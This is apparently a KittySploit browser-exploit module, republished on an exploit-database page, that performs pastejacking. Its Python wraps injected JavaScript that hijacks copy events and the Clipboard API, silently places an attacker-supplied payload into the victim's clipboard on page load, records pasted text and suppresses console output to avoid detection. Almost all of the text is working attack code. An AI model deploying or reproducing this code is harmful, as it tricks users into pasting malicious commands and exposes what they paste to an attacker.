Pastejacking - Clipboard Hijacking
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.js.generic import bundle_with_generic_lib, js_string
class Module(BrowserExploit):
__info__ = {
"name": "Pastejacking - Clipboard Hijacking",
"description": "Modifies victim's clipboard content to inject malicious payload when they paste",
"author": "KittySploit Team",
"platform": Platform.ALL,
"browser": Browser.ALL,
"session_type": SessionType.BROWSER,
}
# Payload content to inject into clipboard
malicious_content = OptString("", "Malicious content to inject into clipboard (if empty, uses generated payload)", required=False)
use_payload = OptBool(True, "Use generated payload instead of custom content", required=True)
# Pastejacking behavior options
intercept_copy = OptBool(True, "Intercept copy events and modify clipboard", required=True)
intercept_paste = OptBool(False, "Intercept paste events (read-only monitoring)", required=False)
auto_inject = OptBool(True, "Automatically inject content on page load", required=True)
stealth_mode = OptBool(True, "Use stealth mode (no visible indicators)", required=True)
# Advanced options
delay_ms = OptInteger(100, "Delay in milliseconds before modifying clipboard", required=False, advanced=True)
restore_original = OptBool(False, "Restore original clipboard after injection", required=False, advanced=True)
def check(self):
"""Check if clipboard API is available"""
try:
self._ensure_browser_server()
if not self.browser_server:
return {
'vulnerable': False,
'reason': 'Browser server not available',
'confidence': 'high'
}
if not self.session_id:
return {
'vulnerable': False,
'reason': 'No session ID specified',
'confidence': 'high'
}
# Check if clipboard API is available via JavaScript
check_js = """
(function() {
if (navigator.clipboard && navigator.clipboard.writeText) {
return 'clipboard_api_available';
} else if (document.execCommand && document.execCommand('copy')) {
return 'execCommand_available';
} else {
return 'not_available';
}
})();
"""
result = self.send_js_and_wait_for_response(check_js, timeout=5.0)
if result and ('clipboard_api_available' in result or 'execCommand_available' in result):
return {
'vulnerable': True,
'reason': 'Clipboard API is available',
'confidence': 'high'
}
else:
return {
'vulnerable': False,
'reason': 'Clipboard API not available in this browser',
'confidence': 'high'
}
except Exception as e:
return {
'vulnerable': False,
'reason': f'Check failed: {e}',
'confidence': 'low'
}
def run(self):
"""Execute pastejacking exploit"""
try:
self._ensure_browser_server()
if not self.browser_server:
print_error("[!] Browser server not available")
fail.Message("Browser server not available")
return False
if not self.session_id:
print_error("[!] No session ID specified")
fail.Message("No session ID specified")
return False
# Determine content to inject
if self.use_payload:
# Use generated payload (self.payload already handles generation)
try:
payload_content = self.payload
if not payload_content:
print_error("[!] Failed to generate payload")
fail.Message("Failed to generate payload")
return False
# Convert bytes to string if needed
if isinstance(payload_content, bytes):
content_to_inject = payload_content.decode('utf-8', errors='ignore')
else:
content_to_inject = str(payload_content)
print_info(f"[*] Using generated payload ({len(content_to_inject)} bytes)")
except Exception as e:
print_error(f"[!] Payload generation failed: {e}")
print_warning("[!] Falling back to custom content if provided")
content_to_inject = self.malicious_content
if not content_to_inject:
fail.Message("Failed to generate payload and no custom content provided")
return False
else:
# Use custom content
content_to_inject = self.malicious_content
if not content_to_inject:
print_error("[!] No malicious content specified and payload generation disabled")
fail.Message("No content to inject")
return False
print_info(f"[*] Using custom malicious content ({len(content_to_inject)} bytes)")
# Encode content for safe JS embedding
encoded_content = js_string(content_to_inject)
# Generate JavaScript code for pastejacking
js_code = self._generate_pastejacking_js(encoded_content)
print_info("[*] Injecting pastejacking code...")
result = self.send_js_and_wait_for_response(js_code, timeout=10.0)
if result:
print_success("[+] Pastejacking code injected successfully!")
print_info("[*] Clipboard will be modified when victim copies content")
if self.intercept_paste:
print_info("[*] Paste events will be monitored")
return True
else:
print_error("[!] Failed to inject pastejacking code")
fail.Message("Failed to inject pastejacking code")
return False
except Exception as e:
print_error(f"[!] Pastejacking failed: {e}")
fail.Message(f"Pastejacking failed: {e}")
return False
def _generate_pastejacking_js(self, malicious_content):
"""Generate JavaScript code for pastejacking"""
intercept_copy_js = ""
intercept_paste_js = ""
auto_inject_js = ""
# Intercept copy events
if self.intercept_copy:
intercept_copy_js = """
// Intercept copy events
document.addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain', maliciousContent);
e.preventDefault();
console.log('[Pastejacking] Clipboard modified on copy event');
}, true);
// Override clipboard API
if (navigator.clipboard && navigator.clipboard.writeText) {
const originalWriteText = navigator.clipboard.writeText;
navigator.clipboard.writeText = function(text) {
console.log('[Pastejacking] Clipboard.writeText intercepted');
return originalWriteText.call(this, maliciousContent);
};
}
// Override execCommand('copy')
const originalExecCommand = document.execCommand;
document.execCommand = function(command, showUI, value) {
if (command === 'copy') {
console.log('[Pastejacking] execCommand("copy") intercepted');
// Create temporary textarea with malicious content
const textarea = document.createElement('textarea');
textarea.value = maliciousContent;
textarea.style.position = 'fixed';
textarea.style.opacity = '0';
document.body.appendChild(textarea);
textarea.select();
const result = originalExecCommand.call(document, 'copy');
document.body.removeChild(textarea);
return result;
}
return originalExecCommand.call(document, command, showUI, value);
};
"""
# Intercept paste events (monitoring only)
if self.intercept_paste:
intercept_paste_js = """
// Monitor paste events
document.addEventListener('paste', function(e) {
const pastedData = e.clipboardData.getData('text/plain');
console.log('[Pastejacking] Paste event detected, content:', pastedData.substring(0, 100));
// Store in global variable for potential retrieval
window.ksPastejackingLastPaste = {
content: pastedData,
timestamp: new Date().toISOString(),
length: pastedData.length
};
}, true);
"""
# Auto-inject on page load
if self.auto_inject:
delay = self.delay_ms
auto_inject_js = f"""
// Auto-inject malicious content into clipboard after delay
setTimeout(function() {{
if (navigator.clipboard && navigator.clipboard.writeText) {{
navigator.clipboard.writeText(maliciousContent).then(function() {{
console.log('[Pastejacking] Clipboard auto-injected via Clipboard API');
}}).catch(function(err) {{
console.warn('[Pastejacking] Clipboard API failed:', err);
// Fallback to execCommand
try {{
const textarea = document.createElement('textarea');
textarea.value = maliciousContent;
textarea.style.position = 'fixed';
textarea.style.opacity = '0';
document.body.appendChild(textarea);
textarea.select();
document.execCommand('copy');
document.body.removeChild(textarea);
console.log('[Pastejacking] Clipboard auto-injected via execCommand');
}} catch (e) {{
console.error('[Pastejacking] Auto-inject failed:', e);
}}
}});
}} else {{
// Fallback to execCommand
try {{
const textarea = document.createElement('textarea');
textarea.value = maliciousContent;
textarea.style.position = 'fixed';
textarea.style.opacity = '0';
document.body.appendChild(textarea);
textarea.select();
document.execCommand('copy');
document.body.removeChild(textarea);
console.log('[Pastejacking] Clipboard auto-injected via execCommand');
}} catch (e) {{
console.error('[Pastejacking] Auto-inject failed:', e);
}}
}}
}}, {delay});
"""
# Stealth mode (hide console logs in production)
stealth_wrapper = ""
if self.stealth_mode:
stealth_wrapper = """
// Stealth mode: minimize detection
const originalConsoleLog = console.log;
const originalConsoleWarn = console.warn;
const originalConsoleError = console.error;
// Only log in development mode (can be disabled)
const DEBUG_MODE = false;
if (!DEBUG_MODE) {
console.log = function() {};
console.warn = function() {};
console.error = function() {};
}
"""
# Combine all JavaScript
full_js = f"""
(function() {{
'use strict';
{stealth_wrapper}
const maliciousContent = {malicious_content};
{intercept_copy_js}
{intercept_paste_js}
{auto_inject_js}
// Store reference for potential cleanup
window.ksPastejackingActive = true;
window.ksPastejackingContent = maliciousContent;
// Return success message
return 'Pastejacking code injected successfully';
}})();
"""
return bundle_with_generic_lib(full_js)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Apr 2026 16:07Current
5.8Medium risk
Vulners AI Score5.8